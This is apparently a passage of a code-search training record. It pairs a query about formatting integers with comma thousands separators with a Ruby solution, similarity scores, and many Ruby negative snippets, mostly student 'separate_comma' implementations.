"def marc_publication_date(options = {})\n estimate_tolerance = options[:estimate_tolerance] || 15\n min_year = options[:min_year] || 500\n max_year = options[:max_year] || (Time.new.year + 6)\n\n lambda do |record, accumulator|\n date = Marc21Semantics.publication_date(record, estimate_tolerance, min_year, max_year)\n accumulator << date if date\n end\n end"
] |
[
"0.6280327",
"0.6059551",
"0.5932191",
"0.5856547",
"0.58483297",
"0.5831654",
"0.5743017",
"0.57356036",
"0.5716297",
"0.5713683",
"0.5687473",
"0.5682759",
"0.5666735",
"0.56667316",
"0.56667316",
"0.56612724",
"0.56084424",
"0.5565997",
"0.5554113",
"0.5546421",
"0.5546087",
"0.5536543",
"0.5536543",
"0.5536543",
"0.5534853",
"0.5534853",
"0.5534853",
"0.5534853",
"0.5534853",
"0.5530212",
"0.5527034",
"0.5521916",
"0.5519736",
"0.55116856",
"0.55013764",
"0.55013186",
"0.5494588",
"0.54713035",
"0.54688674",
"0.54616064",
"0.5460429",
"0.5459236",
"0.5446318",
"0.54402703",
"0.5423676",
"0.5417925",
"0.541561",
"0.54119766",
"0.5411886",
"0.53988343",
"0.53733456",
"0.53618914",
"0.5351404",
"0.5339458",
"0.5334583",
"0.5334019",
"0.53194994",
"0.53180265",
"0.5315098",
"0.53068376",
"0.5306665",
"0.5306584",
"0.5304935",
"0.5303604",
"0.52946067",
"0.52896684",
"0.5274929",
"0.52746916",
"0.52483255",
"0.52417284",
"0.52373",
"0.5236277",
"0.52349854",
"0.52326417",
"0.52228737",
"0.5220396",
"0.52129024",
"0.5207033",
"0.5200738",
"0.51946145",
"0.519324",
"0.5182585",
"0.5181895",
"0.5179086",
"0.5178045",
"0.51779634",
"0.51761055",
"0.51736265",
"0.51659226",
"0.5163782",
"0.51170295",
"0.5112174",
"0.5091433",
"0.5091082",
"0.5089275",
"0.50890326",
"0.5086584",
"0.5076775",
"0.5076081",
"0.50755155"
] |
0.72255886
|
0
|
Converts an integer number into a humanreadable string with thousands delimiters. Example: number_with_delimiter(1234567890, ',') => 1,234,567,890 Params: +n+ the number to be delimited. Will be converted to an integer +delim+ the string to be used as the thousands delimiter. Defaults to ','
|
def number_with_delimiter(n, delim = ',')
n.to_i.to_s.reverse.chars.each_slice(3).map(&:join).join(delim).reverse
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def number_with_delimiter(number, delimiter=\",\", separator=\".\")\n begin\n parts = number.to_s.split('.')\n parts[0].gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{delimiter}\")\n parts.join separator\n rescue\n number\n end\n end",
"def number_with_delimiter(number, delimiter=',')\n number.to_s.gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{delimiter}\")\nend",
"def number_delimiter number\n\t\tnumber_with_delimiter(number, delimiter: \",\")\n\tend",
"def format_num(num); number_with_delimiter(num) end",
"def comma_numbers(number, delimiter = ',')\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1#{delimiter}\").reverse\nend",
"def comma_numbers(number, delimiter = ',')\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1#{delimiter}\").reverse\nend",
"def commatize(number, delimiter = ',')\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1#{delimiter}\").reverse\n end",
"def number_with_delimiter(number, options = {})\n SitemapGenerator::Utilities.symbolize_keys!(options)\n\n begin\n Float(number)\n rescue ArgumentError, TypeError\n if options[:raise]\n raise InvalidNumberError, number\n else\n return number\n end\n end\n\n defaults = {\n :separator => \".\",\n :delimiter => \",\",\n :precision => 3,\n :significant => false,\n :strip_insignificant_zeros => false\n }\n options = SitemapGenerator::Utilities.reverse_merge(options, defaults)\n\n parts = number.to_s.to_str.split('.')\n parts[0].gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{options[:delimiter]}\")\n parts.join(options[:separator])\n end",
"def iformat( n )\n # FIXME by locale\n return numberFormat( n, ',', nil, nil );\nend",
"def intcomma(value, delimiter=\".\")\n begin\n orig = value.to_s\n delimiter = delimiter.to_s\n rescue Exception => e\n puts \"#{e.class} #{e}\"\n return value\n end\n \n copy = orig.gsub(/(\\d)(?=(\\d{3})+(?!\\d))/, \"\\\\1#{delimiter}\")\n orig == copy ? copy : intcomma(copy, delimiter)\n end",
"def separate_comma(number)\n\treturn number.to_s if number < 1000\n\tarr_string = number.to_s.split(\"\")\n\tnew_string = \"\"\n\tif number >= 1000 && number <= 9999\n\t\tarr_string.map! do |n|\n\t\t\tif arr_string.index(n) == 0\n\t\t\t\tnew_string << n + \",\"\n\t\t\telse\n\t\t\t\tnew_string << n\n\t\t\tend\n\t\tend\n\telsif number >= 10000 && number <= 99999\n\t\tarr_string.map! do |n|\n\t\t\tif arr_string.index(n) == 1\n\t\t\t\tnew_string << n + \",\"\n\t\t\telse\n\t\t\t\tnew_string << n\n\t\t\tend\n\t\tend\n\telsif number >= 100000 && number <= 999999\n\t\tarr_string.map! do |n|\n\t\t\tif arr_string.index(n) == 2\n\t\t\t\tnew_string << n + \",\"\n\t\t\telse\n\t\t\t\tnew_string << n\n\t\t\tend\n\t\tend\n\telsif number >= 1000000 && number <= 9999999\n\t\tarr_string.map! do |n|\n\t\t\tif arr_string.index(n) == 0 || arr_string.index(n) == 3\n\t\t\t\tnew_string << n + \",\"\n\t\t\telse\n\t\t\t\tnew_string << n\n\t\t\tend\n\t\tend\t\n\telsif number >= 10000000 && number <= 99999999\n\t\tarr_string.map! do |n|\n\t\t\tif arr_string.index(n) == 1 || arr_string.index(n) == 4\n\t\t\t\tnew_string << n + \",\"\n\t\t\telse\n\t\t\t\tnew_string << n\n\t\t\tend\n\t\tend\n\tend\n\tnew_string\t\nend",
"def seperator(num)\n num_string = num.to_s\n num_integer_count = num.to_s.length\n num_counter = num_integer_count\n loop do \n num_counter -= 3\n if num_counter <= 0 \n break \n else \n num_string.insert(num_counter, ',')\n end\n\n end\n num_string\nend",
"def separate_comma(num)\n return nil if !(num.is_a? Integer)\n\n num_array = num.to_s.split(//)\n\n return num_array.collect.with_index { |digit, i|\n num_digits = num_array.length - i\n\n if num_digits > 3 && num_digits % 3 == 1\n digit + ','\n else\n digit\n end\n\n }.join\n\n end",
"def number_to_delimited(number, options = {})\n NumberToDelimitedConverter.convert(number, options)\n end",
"def separate_comma(number)\n\tnumber = number.to_i\n\tif number.abs < 1000\n\t\tstring = number.to_s\n\tend\n\tif number.abs >= 1000\n\t\tstring = number.to_s.insert(-4, \",\")\n\tend\n\tif (1000000..999999999).include? number.abs\n\t\tstring.insert(-8, \",\")\n\tend\n\tif (1000000000..999999999999).include? number.abs\n\t\tstring.insert(-12,\",\")\n\tend\nreturn string\nend",
"def comma_separate(num)\n num.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\n end",
"def separate_comma(int)\n string_num = int.to_s\n number_with_commas = \"\"\n \n if string_num.length < 4\n return string_num\n end\n\n if string_num.length % 3 != 0\n number_with_commas.concat(string_num.slice!(0...(string_num.length % 3)))\n else\n \tnumber_with_commas.concat(string_num.slice!(0...3))\n end\n\n while string_num.length != 0\n \tnumber_with_commas << \",\"\n \tnumber_with_commas.concat(string_num.slice!(0...3))\n end\n\n number_with_commas\nend",
"def separate_comma(number)\n\tnumber = number.to_s.split('')\n\tindex = number.length\n\twhile index > 3 do\n\t\t\tnumber.insert(index-3,\",\")\n\t\tindex-=3\n\tend\n\tnumber.join\nend",
"def separate_comma(num) #takes an integer and converts it to a string with commas in appropriate places\n\tnumber_as_string = num.to_s #converts num to a string\n\tif number_as_string.length < 4 #checks if number isn't long enough to need a comma\n\t\tnumber_as_string #return the number as a string\n\telsif number_as_string.length < 7 #checks if number is bigger than 999, but less than 999,999\n\t\tnumber_as_string.insert -4, ',' #inserts a comma at the 4th from last place in string\n\telse\n\t\tnumber_with_1comma = number_as_string.insert -4, ',' #inserts a comma at the 4th from last place in string and saves that in a variable\n\t\tnumber_with_1comma.insert -8, ',' #inserts second comma in 8th from last place\n\tend\nend",
"def separate_comma(num)\n\tif num < 1000\n\t\tp num.to_s\n\telse\n\tnew_num = []\n num = num.to_s.reverse\n num = num.chars.to_a\n until num.empty?\n new_num << num.shift(3) \n new_num.push(',')\n end\n new_num.pop\n p new_num.join.reverse\n \n end\nend",
"def add_comma(number)\n\tsplit_string = number.to_s.split('')\n\tsplit_string_length = split_string.length\n\n\tif split_string_length > 3\n\t\tsplit_string[0]<< ','\n\t\tsplit_string.join(\"\")\n\t\tp split_string\n\tend\n\nend",
"def separate_comma(num)\n output = \"\"\n temp = num.to_s.reverse\n \n for c in (1..(temp.length))\n output += temp[c-1]\n if c%3 == 0\n output += ','\n end\n end\n \n output = output.reverse\n \n if output.start_with?(\",\")\n output = output[1..(output.length-1)]\n end\n\n return output\nend",
"def separate_comma( number )\n\tif number < 10000 then\n\t\treturn number.to_s\n\tend\n\n\toutput = \"\"\n\tx = 0\n\tnum = number.to_s.reverse\n\n\tnum.each_char { |letter|\n\t\toutput << letter\n\t\tx += 1\n\t\tif x % 3 == 0 && x < num.length then\n\t\t\toutput << \",\"\n\t\tend\n\t}\n\n\treturn output.reverse\nend",
"def separate_comma(num)\r\n\tnum_s = num.to_s\r\n\tx = num_s.length - 1\r\n\tfinal = \"\"\r\n\r\n\twhile x >= 0\r\n\t\tfinal.prepend((num_s.length - x) % 3 == 0 && x != 0 ? \",#{num_s[x]}\" : \"#{num_s[x]}\")\r\n\t\tx-= 1\r\n\tend\r\n\r\n\treturn final\r\nend",
"def formatCommas(n)\n\treturn n.to_s.reverse.gsub(/...(?=.)/,'\\&,').reverse\nend",
"def separate_comma(number)\n\tnumber\nend",
"def separate_comma(integer)\n num = integer.to_s.split(\"\").reverse\n item_index = 0\n delimit_at = 3\n num.each do |item|\n if item_index == delimit_at #6, 9, 12, etc.\n num[item_index] += ','\n delimit_at += 3\n end\n item_index += 1\n end\n return num.reverse.join\nend",
"def thousands( sep = \",\" )\n self.groupsep( 3, sep )\n end",
"def separate_comma(number)\n num = number.to_s\n i = -4\n while i >= (-1 * num.length)\n num.insert(i, ',')\n i -= 4\n end\n p num.to_s\nend",
"def separate_comma(num)\n\tnum_s = num.to_s\n\tdigits = num_s.length\n\tif digits <= 3\n\t\tnum_s\n\telsif digits % 3 == 0\n\t\tnum_s.scan(/.../).join(\",\")\n\telse\n\t\ti = digits % 3\n\t\tnum_s[0..i-1] + \",\" + num_s[i..-1].scan(/.../).join(\",\")\n\tend\nend",
"def comma(int)\n\tnum=int.to_s\n\tarr=num.split(//)\n\tnum=\"\"\n\tcount = 0\n\tfor i in 0...arr.length\n\t\tputs arr[arr.length-i-1]\n\t\tif count %3 != 0\n\t\t\tnum.insert(0,arr[arr.length-i-1])\n\t\telse \n\t\t\tnum.insert(0,\",\")\n\t\t\tnum.insert(0,arr[arr.length-i-1])\n\t\tend\n\t\tcount += 1\n\tend\n\tputs num \nend",
"def separate_comma(number)\n number_string = number.to_s.split(\"\")\n new_string = \"\"\n if number_string.length < 4\n return number_string.join\n else\n sub_str = \"\"\n number_string.reverse_each do |digit|\n sub_str = digit + sub_str\n if sub_str.length == 3\n new_string = \",\" + sub_str + new_string\n sub_str = \"\"\n end\n end\n new_string = sub_str << new_string\n if new_string[0] == \",\"\n new_string = new_string[1..-1]\n end\n end\n new_string\nend",
"def separate_comma(num)\n\tif num >= 1000\n\t\tarr = num.to_s.reverse.split(//)\n# There's a way to iterate here, ASK AT OFFICE HOURS arr.map!.with_index {|x,y} x + \",\" if y % 3}???\n\t\tnew_arr = []\n\t\tidx = 0\n\t\twhile (idx + 1) < arr.length\n\t\t\tif (idx + 1) % 3 == 0\n\t\t\t\tnew_arr.push(arr[idx] + \",\")\n\t\t\t\tidx += 1\n\t\t\telse\n\t\t\t\tnew_arr.push(arr[idx])\n\t\t\t\tidx += 1\n\t\t\tend\n\t\tend\n\t\tstr = new_arr.push(arr[idx]).join.reverse\n\t\treturn str\n\telse\n\t\treturn num.to_s\n\tend\nend",
"def separate_comma(number)\n\tstring_number = number.to_s\n\t\n\tif string_number.length <= 3\n\t\treturn string_number\n\telse \n\t\tif string_number.length%3 == 0\n\t\t\tcomma_place = 3\n\t\t\t# if the length of the string is evenly divisible by 3, the first\n\t\t\t# comma goes after the third character in the string\n\t\telse\n\t\t\tcomma_place = string_number.length%3\n\t\t\t# if the length is not evenly divisible by 3, figure out the remainder\n\t\t\t# when you divde by 3 and put the first comma after that character in \n\t\t\t# the string\n\t\tend\n\t\t\t\n\t\tcomma_counter = 0\n\t\t\t\n\t\twhile comma_place < string_number.length\n\t\t\t\tstring_number.insert(comma_place, \",\")\n\t\t\t\tcomma_counter += 1\n\t\t\t\tcomma_place += 3 + comma_counter\n\t\tend\n\t\t\t\t\n\tend\n\n\treturn string_number\n\nend",
"def delimited_number(value, symbol: '', delimiter: ',', no_decimals: 2)\n val = value.nil? ? 0.0 : value\n parts = format(\"#{symbol}%.#{no_decimals}f\", val).split('.')\n parts[0] = parts.first.reverse.gsub(/([0-9]{3}(?=([0-9])))/, \"\\\\1#{delimiter}\").reverse\n parts.join('.')\n end",
"def separate_comma(int)\r\n\r\n\tint_string = int.to_s\r\n\r\n\tif int_string.length <= 3\r\n\t\treturn int_string\r\n\t\r\n\telse\r\n\t\tint_string.reverse!\r\n\t\tnew_string = \"\"\r\n\r\n\t\tn = 0\r\n\t\twhile n < int_string.length\r\n\t\t\tnew_string << int_string[n..n+2] + ','\r\n\t\t\tn = n + 3\r\n\t\tend\r\n\t\t\r\n\t\tnew_string.reverse!\r\n\t\tnew_string[0] = \"\"\r\n\t\t\r\n\t\treturn new_string\r\n\tend\r\nend",
"def separate_comma(integer)\n\tinteger.to_s.reverse.scan(/.{1,3}/).join(\",\").reverse\nend",
"def separate_comma(integer)\n\n if(integer.is_a?(Integer))\n \n if integer < 0\n print \"Please enter a positive integer.\"\n elsif integer == 0\n print \"0\"\n else\n i_string = integer.to_s\n num_commas = (i_string.length - 1)/3.floor\n i_split = i_string.split('')\n \n i = -4\n num_commas.times do\n i_split.insert(i,',')\n i += -4\n end\n \n return i_split.join('')\n \n end\n else\n \n print \"Please enter an integer only\"\n \n end\nend",
"def separate_comma(num)\n num_s = num.to_s\n\n if num_s.length <= 3\n return num_s\n else\n i = -4\n until i < -num_s.length\n num_s.insert(i,\",\")\n i -= 4\n end\n return num_s\n end\nend",
"def separate_comma(num)\n chars = num.to_s.split('')\n comma_count = chars.size/3\n return num.to_s if chars.size < 4\n\n if chars.size % 3 == 0\n comma_count -= 1\n end\n\n n = -4\n comma_count.to_i.times do |i|\n chars.insert(n, ',')\n n -= 4\n end\n chars.join(\"\")\nend",
"def separate_comma(integer)\n\tstring = integer.to_s\n\tx = (string.length - 1) / 3\n\twhile x > 0\n\t\tstring.insert((-1 - 3*x), \",\")\n\t\tx -= 1\n\tend\n\treturn string\nend",
"def separate_comma(number)\n comma_separated_number = number.to_s.reverse.split('').each_slice(3).map {|obj| obj.push(\",\") }.join.chop.reverse\nend",
"def separate_comma(number)\n array = number.to_s.reverse.split(//)\n length = array.length\n\n if length <= 6\n n = 0\n elsif length % 2 == 0\n n = 1\n else\n n = 2\n end\n\n if length < 4\n return array.join.reverse\n elsif length <= 9 \n i = 3 \n while i < length + n do \n array.insert(i, \",\")\n i = i + 4 \n end\n end\n\n return array.join.reverse.to_s\nend",
"def separate_comma(num)\n\tstr = num.to_s.split('')\n\tstr.reverse!\n\tcommas = []\n\tcount = 0\n\tstr.each do |i|\n\t\tif count < 3\n\t\t\tcommas.unshift(i)\n\t\t\tcount += 1\n\t\telsif count == 3 \n\t\t\tcommas.unshift(\",\")\n\t\t\tcommas.unshift(i)\n\t\t\tcount = 1\n\t\tend \n\tend\n\tcommas.join(\"\")\nend",
"def separate_comma(integer)\n number_string = integer.to_s\n char_count = integer.to_s.length\n\n if char_count > 3\n\n -4.step((-char_count - 1), -4) do |x|\n number_string.insert(x, \",\")\n end\n\n return number_string\n else\n return number_string\n end\nend",
"def commas(num)\n string_with_commas = num.abs.to_s.chars.reverse.each_slice(3).map { |part| part.join }.join(\",\").reverse\n if num < 0\n string_with_commas.prepend(\"-\")\n end\n string_with_commas\nend",
"def separate_comma(num)\n\tnum_comma = \"\"\n\tnum.to_s.reverse.split(\"\").each_with_index {|number, index|\n\t\tindex % 3 == 0 && index != 0 ? #here the modulo is \"% 3\" because indexing starts at \"0\". We are placing the comma at index \"3\".\n\t\tnum_comma << \",\" + number \n\t\t: num_comma << number} #using the \"? :\" question-mark-followed-by-a-colon, here is called the ternary-operator.\n\t\t\t\t\t\t\t #I took out the \"if\" statement used in the 1st solution, the \"?\" becomes a \"then\", and the \":\" means \"else\"\n\tnum_comma.reverse\nend",
"def separate_comma(num)\n number = num.to_s\n position = -4\n if number.length < 4\n number\n elsif number.length % 3 == 0\n ((number.length/3) - 1).times { number.insert(position, \",\"); position -= 4 }\n number\n else\n (number.length/3).times { number.insert(position, \",\"); position -= 4 }\n number\n end\nend",
"def separate_comma(num)\n solution = add_commas_every_three(num.to_s.reverse.split(\"\"))\n solution.pop if solution[-1] == ','\n solution.join(\"\").reverse\nend",
"def separate_comma(integer)\n\tstring = integer.to_s\n\tif string.length > 3 \n\t\ti = -4\n\t\twhile i >= -string.length\n\t\t\tstring.insert(i, \",\")\n\t\t\ti += -4\n\t\tend\n\tend\n\tstring\nend",
"def separate_comma(integer)\n\n\tstring = integer.to_s.split ('') #makes the integer a string so we can insert commas, making it readable\n\tdivision = string.length/3\n\t\tif string.length<4\n\t\t\tp integer.to_s\t\t\t\t\t#first if/else if is used to find if the number needs to use this method.\n\t\telsif string.length%3 == 0\n\t\t\t(division.to_i-1).times do |i| #every 3 spaces add a comma.\n\t\t\t\tstring.insert(n, ',')\n\t\tend\n\t\t\tp string.join (\"\") #join the string back together again, inside of \"\"\n\t\telse \n\t\t\t\tn = -4\n\t\t\t\t\n\t\t\t\tdivision.to_i.times do |i| # Start with -4 because it helps understand that we only need to use if more than 4 digits.\n\t\t\t\t\n\t\t\t\tstring.insert(n, ',')\n\t\tend\n\t\t\t\tp string.join (\"\")\n\tend\nend",
"def separate_comma(integer)\n if integer >= 1000\n number_array = integer.to_s.split(\"\").reverse\n counter = 0\n array_for_reverse = []\n number_array.each do |digit|\n if counter % 3 == 0 && counter != 0\n array_for_reverse << \",\"\n end\n array_for_reverse << digit\n counter += 1\n end\n final = \"\"\n array_for_reverse.reverse.each do |digit|\n final << digit\n end\n else\n final = integer.to_s\n end\n return final\nend",
"def separate_comma(number)\n array = number.to_s.split('') #creates an array from number w/ digits\n number_commas = array.size/3.0 #how many commas\n if array.size < 4 #this is a 3 digit number\n return number.to_s #return number no comma needed\n elsif array.size%3 == 0\n n = -4\n (number_commas.to_i-1).times do |i|\n array.insert(n, ',')\n n -= 4\n end\n return array.join(\"\")\n else\n n = -4\n number_commas.to_i.times do |i|\n array.insert(n, ',')\n n -= 4\n end\n return array.join(\"\")\n end\nend",
"def separate_comma(integer)\n\tinteger = integer.to_s\n\tif integer.length <= 3\n\t\treturn integer\n\telsif integer.length <= 6\n\t\treturn integer.insert(-4,',')\n\telsif integer.length <= 9\n\t\treturn integer.insert(-7,',').insert(-4,',')\n\telse\n\t\treturn integer.insert(-10,',').insert(-7,',').insert(-4,',')\n\tend\nend",
"def format_num(int)\n int.to_s.reverse.scan(/\\d{1,3}/).reverse.join(\",\")\nend",
"def separate_comma(num)\n\tnum.to_s.reverse.chars.to_a.each_slice(3).to_a.map {|value|\n\t\tvalue.join(\"\")\n\t}.join(\",\").reverse\nend",
"def separate_comma(num)\n\tnum.to_s.reverse.chars.to_a.each_slice(3).to_a.map {|value|\n\t\tvalue.join(\"\")\n\t}.join(\",\").reverse\nend",
"def separate_comma ( int )\n int.to_s.split('').to_a().reverse().each_slice(3).to_a.map(&:join).join(\",\").reverse()\nend",
"def separate_comma(num)\n\tnumber = num.to_s\n\tif number.length < 4\n\t\tp number\n\telse\n\t\tnum_of_loops = ((number.length - 1) / 3)\n\t\tposition = -4\n\t\tuntil num_of_loops == 0\n\t\t\tnumber.insert(position, \",\")\n\t\t\tposition -= 4\n\t\t\tnum_of_loops -= 1\n\t\tend\n\tend\n\tp number\nend",
"def separate_comma(num)\n arr = num.to_s.split(\"\")\n arr = arr.each_index {|x|\n x = -x - 1\n arr = arr.insert(x, \",\") if x % 4 == 0\n }\n return arr.join\nend",
"def separate_comma(number)\n\n array = number.to_s.reverse.split(//)\n length = array.length\n\n if length<=6\n x = 0\n elsif length%2 == 0\n x = 1\n else \n x = 2\n end\n\n\n\n if length < 4\n return array.join.reverse.to_s \n else\n i = 3\n while i < length+n do\n array.insert(i, ',')\n i += 4\n end\n end\n return array.join.reverse.to_s\nend",
"def separate_comma(integer)\n\tinteger_string = integer.to_s\n\tif integer_string.length <= 3\n\t\treturn integer_string\n\telsif integer_string.length <= 6\n\t\treturn integer_string.insert(-4,',')\n\telse\n\t\treturn integer_string.insert(-7,',').insert(-4,',')\n\tend\nend",
"def separate_comma(num)\n\tstr = num.to_s\n\treturn str if str.length < 4\n\treturn str[0] + \",\" + str[1..3] if str.length < 5\n\treturn str[0..1] + \",\" + str[2..4] if str.length < 6 \n\treturn str[0..2] + \",\" + str[3..5] if str.length < 7\n\treturn str[0] + \",\" + str[1..3] + \",\" + str[4..6] if str.length < 8\n\treturn str[0..1] + \",\" + str[2..4] + \",\" + str[5..7] if str.length < 9\nend",
"def separate_comma(int)\r\n int_s = int.to_s\r\n int_l = int_s.length\r\n if int_l < 4 \r\n int_s\r\n elsif int_l >= 4 && int_l < 7\r\n int_s.insert(-4, ',')\r\n elsif int_l <= 8\r\n int_s.insert(-4, ',')\r\n int_s.insert(-8, ',')\r\n end\r\nend",
"def thousands_separator; end",
"def separate_comma(integer)\n\t\n\tif integer > 999 && integer <= 999999 #set the range of integer in thousands\n\t\tles_than_mil_more_than_thous = integer.to_s.reverse! #convert the integer to string and reverse the order\n\t\tsplit = les_than_mil_more_than_thous.split(//) #split the integer into invidual strings\n\t\tcomma_for_thous = split.insert(3, \",\") #insert a comma after the 3rd string\n\t\tupdated= comma_for_thous.reverse!.join(\"\") #reverse the other of the strings and join them into one string\n\n\t\tputs updated #return the updated string\n\n\telsif integer > 999999 #set the range of integer in millions\n\t\tmore_than_mil = integer.to_s.reverse! #convert the integer to string and reverse the order\n\t\tsplit = more_than_mil.split(//) #split the integer into invidual strings\n\t\tcomma_for_thous = split.insert(3,\",\") #insert a comma after the 3rd string\n\t\tcomma_for_mil = comma_for_thous.insert(7,\",\") #insert a comma after the 7th string\n\t\tupdated = comma_for_mil.reverse!.join(\"\") #reverse the other of the strings and join them into one string\n\n\t\tputs updated #return the updated string\n\t\n\telse integer <= 999\n\t\tputs integer.to_s\n\t\n\tend\n\nend",
"def separate_comma(integer)\n\tinteger = integer.to_s\n\ti = -4\n\tif integer.length <= 3\n\t\tp integer\n\telse\n\t\twhile i.abs <= integer.length\n\t\t\tinteger.insert(i,\",\")\n\t\t\ti -= 4\n\t\tend\n\tend\n\tp integer\nend",
"def separate_comma (number)\n a = number.to_s.chars.to_a.reverse\n b = a.count/3\n if a.count < 4\n return number.to_s\n elsif a.count == 6\n a.insert(3, \",\")\n return a.join.reverse\n elsif\n c = 3\n b.times do |n|\n a.insert(c, \",\")\n c = c +4\n end\n return a.join.reverse\n end\nend",
"def commas(num)\n str = num.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\n print str, \"\\n\"\n return str\nend",
"def nformat( n )\n # FIXME by locale\n return numberFormat( n, ',','.', 1 );\nend",
"def separate_comma(integer)\n\n string = integer.to_s\n if string.length > 3\n array = string.split(\"\")\n i = (string.length - 3)\n while i > 0\n array.insert(i, \",\")\n i -= 3\n end\n array.join\n else\n string\n end\n\nend",
"def separate_comma(integer)\n if integer.to_s.length <= 3\n comma_string = integer.to_s\n else\n integer_array = integer.to_s.split('')\n integer_array.each_with_index do |n, i|\n if i % 4 == 0\n integer_array.insert(-i, \",\")\n end\n comma_string = integer_array.join(\"\")\n comma_string[0] = \"\"\n end\n end\n p comma_string\nend",
"def separate_comma(number)\n a = number.to_s.split('')\n b = a.size/3.0\n if a.size < 4\n p number.to_s\n elsif a.size%3 == 0\n n = -4\n (b.to_i-1).times do |i|\n a.insert(n, ',')\n n -= 4\n end\n p a.join(\"\")\n else\n n = -4\n b.to_i.times do |i|\n a.insert(n, ',')\n n -= 4\n end\n p a.join(\"\")\n end\nend",
"def separate_comma(number)\n\tnum = number.to_s\n\tnum_array = num.split(\"\")\n\t\tif num.length <= 3\n\t\t\treturn num\n\t\telse\n\t\t\tif num.length % 3 == 0\n\t\t\t\ti = num.length-3\n\t\t\t\twhile i > 0\n\t\t\t\t\tnum_array.insert(i, \",\")\n\t\t\t\t\ti -= 3\n\t\t\t\tend\n\t\t\telsif num.length % 3 == 1\n\t\t\t\ti = num.length-3\n\t\t\t\twhile i > 0\n\t\t\t\t\tnum_array.insert(i, \",\")\n\t\t\t\t\ti -= 3\n\t\t\t\tend\n\t\t\telsif num.length % 3 == 2\n\t\t\t\ti = num.length-3\n\t\t\t\twhile i > 0\n\t\t\t\t\tnum_array.insert(i, \",\")\n\t\t\t\t\ti -= 3\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn \"You did something wrong!\"\n\t\t\tend\n\t\t\treturn num_array.join\n\t\tend\t\nend",
"def separate_comma(integer)\n\n# Convert integer to a string\n string_integer = integer.to_s\n\n# Get comma count\n comma_num = (string_integer.length - 1)/3\n return string_integer if comma_num == 0\n\n#insert comma every four characters\n comma_num.times {|i| string_integer.insert(-4*(i+1),\",\")}\n return string_integer\nend",
"def separate_comma(int)\n\treturn int.to_s.split(\"\").reverse.each_slice(3).map { |i| i.join(\"\").reverse }.reverse.join(\",\")\nend",
"def separate_comma(number)\n a = number.to_s.split('')\n b = a.size/3.0\n if a.size < 4\n number.to_s\n elsif a.size%3 == 0\n n = -4\n (b.to_i-1).times do |i|\n a.insert(n, ',')\n n -= 4\n end\n a.join(\"\")\n else\n n = -4\n b.to_i.times do |i|\n a.insert(n, ',')\n n -= 4\n end\n a.join(\"\")\n end\nend",
"def separate_comma(integer)\n\ts_integer = integer.to_s.reverse\n\tif s_integer.length <= 3\n\t\tp integer.to_s\n\telsif s_integer.length > 3 && s_integer.length <= 6\n\t\ts_integer.insert(3, \",\")\n\t\tp s_integer.reverse\n\telsif s_integer.length > 6 && s_integer.length <= 8\n\t\ts_integer.insert(3, \",\") && s_integer.insert(7, \",\")\n\t\tp s_integer.reverse\n\tend\nend",
"def separate_comma(number)\n number.to_s.reverse.split(\"\").each_with_index { |x,y| x << \",\" if y == 3 || y == 6 }.reverse.join\nend",
"def separate_comma(num)\n num = num.to_s\n c_c = 4\n while num.length >= c_c\n num.insert(-c_c, \",\")\n c_c += 4\n end\n return num\nend",
"def separate_comma(integer)\n num = integer.to_s.reverse\n length = num.length\n if length == 4 || length == 5 || length == 6\n num[2] += ','\n elsif length == 7 || length == 8\n num[2] += ','\n num[6] += ','\n end\n return num.reverse\nend",
"def separate_comma(number)\n \n if number == nil\n return nil\n end\n \n arr = number.to_s.reverse.split(//)\n \n \n if arr.length < 7\n j = 0\n \n elsif arr.length % 2 == 0\n j = 1\n else\n j = 2\n end\n \n \n \n if arr.length < 4\n return array.join.reverse.to_s\n \n else\n i = 3\n \n while i < arr.length + j do\n array.insert(i, ',')\n i += 4\n end\n end\n \n return array.join.reverse.to_s\n \nend",
"def separate_comma(number)\n\tinput_length = number.to_s.length\n\tif input_length>3\n\t\tcounter = 1\n\t\toutput_number = \"\"\n\t\tnumber.to_s.reverse.each_char do |x|\n\t\t\tif counter % 3 == 0 && number.to_s.length!=counter\n\t\t\t\toutput_number = output_number + x + \",\"\n\t\t\telse\n\t\t\t\toutput_number += x\n\t\t\tend\n\t\t\tcounter +=1\n\t\tend\n\t\treturn output_number.reverse\n\telse\n\t\treturn number.to_s\n\tend\nend",
"def separate_comma(num)\n num = num.to_s\n index = num.length - 1\n if index < 3\n return num\n end\n\n index = index - 3\n\n while index > -1\n num.insert(index.next, \",\")\n index = index - 3\n end\n num\nend",
"def separate_comma(number)\n comma_array = number.to_s.chars.reverse.each_slice(3)\n comma_array.map(&:join).join(\",\").reverse\nend",
"def separate_comma(num)\n numbers = num.to_s.split('')\n size = numbers.size/3.0\n if numbers.size < 4\n return num.to_s\n elsif numbers.size%3 == 0\n comma = -4\n (size.to_i-1).times do |x|\n numbers.insert(comma, ',')\n comma -= 4\n end\n strings = ''\n return numbers.join(\"\")\n else\n comma = -4\n size.to_i.times do |x|\n numbers.insert(comma, ',')\n comma -= 4\n end\n return numbers.join(\"\")\n end\nend",
"def insert_commas(number)\n\tnumberstring = number.to_s\n\tnumberstring.reverse!\n\tfuturestring = \"\"\n\n\tcase commanumber\n\n\t\twhen \tnumberstring.length <= 3\n\t\t\treturn numberstring\n\t\twhen \n\t\t\tnumberstring.length >3\n\t\t\tnumberarray = numberstring.split(\"\")\n\n\t\t\tnumberarray.insert(2,\",\")\n\n\t\t\tfuturestring += numberarray.join \"\"\n\n\n\tend\nend",
"def separate_comma (number)\n\nnumber\n.to_s\n.reverse\n.split(\"\")\n.map.with_index {|x, i| ((i+1)%3 == 0 && number.to_s.length - (i+1) > 0 ? x << \",\" : x)}\n.join\n.reverse\n\nend",
"def format_number_with_commas(st)\n st.to_s.gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1,\")\n end",
